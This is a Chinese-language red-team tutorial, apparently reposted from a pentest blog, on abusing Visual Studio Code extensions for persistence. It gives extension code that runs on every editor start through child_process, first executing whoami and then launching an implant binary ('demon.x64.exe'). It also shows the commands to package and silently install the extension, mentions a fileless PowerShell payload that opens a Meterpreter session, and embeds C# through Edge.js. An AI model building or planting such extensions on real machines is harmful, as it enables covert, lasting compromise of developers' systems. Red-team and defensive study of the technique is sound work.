负责编写代码(即使用Sigma 的检测工程师)以利用 Visual Studio Code 作为代码编辑器的开发人员或用户并不罕见。可以使用调试器和工具等扩展来扩展产品的默认功能,以支持开发工作流程。然而,在红队演习期间受到损害的开发环境中,可以使用任意 Visual Studio Code 扩展来实现持久性,因为它还将使红队能够融入底层环境。
扩展开发
在开始开发 Visual Studio Code Extension 之前,环境需要以下包:
-
Visual Studio Code
-
NodeJS
-
Yeoman
-
Npm Generator Code
npm install -g yo
npm install -g yo generator-code
Yeoman & Code Generator
命令yo code启动扩展生成器,它将生成扩展所需的文件。
yo code
扩展生成器
从扩展文件夹中使用以下命令将启动Visual Studio Code。Visual Studio Code启动后,将在向工作区中添加任何文件之前请求用户的权限。
cd persistence-pentestlab
code .
扩展文件夹
扩展中感兴趣的文件包括:
-
package.json
-
extension.ts
默认情况下,这些文件的内容将类似于下面的图片:
包文件
扩展文件
执行命令HelloWorld将显示HelloWorld信息消息,因为它将从扩展名.ts文件调用函数showInformationMessage。
import * as vscode from 'vscode';
export function activate(context: vscode.ExtensionContext) {
let disposable = vscode.commands.registerCommand('persistence-pentestlab.Install', () => {
vscode.window.showInformationMessage('Implant is executed');
}); context.subscriptions.push(disposable);
vscode.commands.executeCommand('persistence-pentestlab.Install');
}
export function deactivate() {}
命令执行
现在已经验证了代码可以在启动过程中执行,可以修改扩展代码来运行命令。下面的代码片段使用child_process库运行whoami命令并将输出记录到控制台。
import * as vscode from 'vscode';
export function activate(context: vscode.ExtensionContext) {
let disposable = vscode.commands.registerCommand('persistence-pentestlab.Install', () => {
vscode.window.showInformationMessage('Implant is executed');
const cp = require('child_process');
let cmd = 'whoami';cp.exec(cmd, (err: string, stdout: string, stderr: string) => {
console.log(stdout);
if (err) {
console.log(err);
}
});
});
context.subscriptions.push(disposable);
vscode.commands.executeCommand('persistence-pentestlab.Install');
}
export function deactivate() {}
import * as vscode from 'vscode';
export function activate(context: vscode.ExtensionContext) {
let disposable = vscode.commands.registerCommand('persistence-pentestlab.Install', () => {
vscode.window.showInformationMessage('Implant is executed');
const cp = require('child_process');
let cmd = 'C:\tmp\demon.x64.exe';cp.exec(cmd, (err: string, stdout: string, stderr: string) => {
console.log(stdout);
if (err) {
console.log(err);
}
});
});
context.subscriptions.push(disposable);
vscode.commands.executeCommand('persistence-pentestlab.Install');
}
export function deactivate() {}
扩展包装
扩展可以使用Visual Studio代码扩展管理器打包。默认情况下,此实用程序不存在,可以使用以下命令安装:
npm install -g @vscode/vsce
Visual Studio代码扩展管理器
执行以下命令将扩展名打包到.vsix文件中。
vsce package --allow-missing-repository --allow-star-activation
Visual Studio代码-包扩展
打包的扩展将出现在扩展文件夹中。
code --install-extension persistence-pentestlab-0.0.1.vsix
伸展载荷
由于在受损用户将启动Visual Studio代码时已安装扩展,因此将执行植入并与命令和控制建立通信。
应该注意的是,植入将在Visual Studio Code的上下文中执行。Visual Studio代码的执行会生成各种进程实例,因此植入物将与环境融为一体。
PowerShell
将植入物放入磁盘可能不是执行代码的最安全方法。另一种方法是利用PowerShell来执行无文件的有效负载。
PowerShell有效负载
当扩展加载时,将执行有效负载并建立Meterpreter会话。
JavaScript
Edge.js允许用户在Node.js中运行.NET代码。因此,Visual Studio扩展可以在JavaScript中开发,嵌入C#代码,这将扩展任意扩展的攻击能力。可以通过执行以下命令安装Edge.js和electron-edge.js:
npm install --save edge-js
npm install --save electron-edge-js
var edge = require('edge-js');
var msgBox = edge.func(function() {/*
using System;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
class Startup
{
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
public async Task<object> Invoke(dynamic input)
{
MessageBox(IntPtr.Zero,
"Visit pentestlab.blog",
"Pentestlab.blog",
0);
return null;
}
}
*/});
msgBox(null, function (error, result) {
if (error) throw error;
});
node .msgBox.js
参考:
-
https://secarma.com/using-visual-studio-code-extensions-for-persistence/
-
https://thevivi.net/blog/pentesting/2022-03-05-plugins-for-persistence/#2-visual-studio-code
原文始发于微信公众号(Ots安全):红队战术 – Visual Studio 代码扩展持久性
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论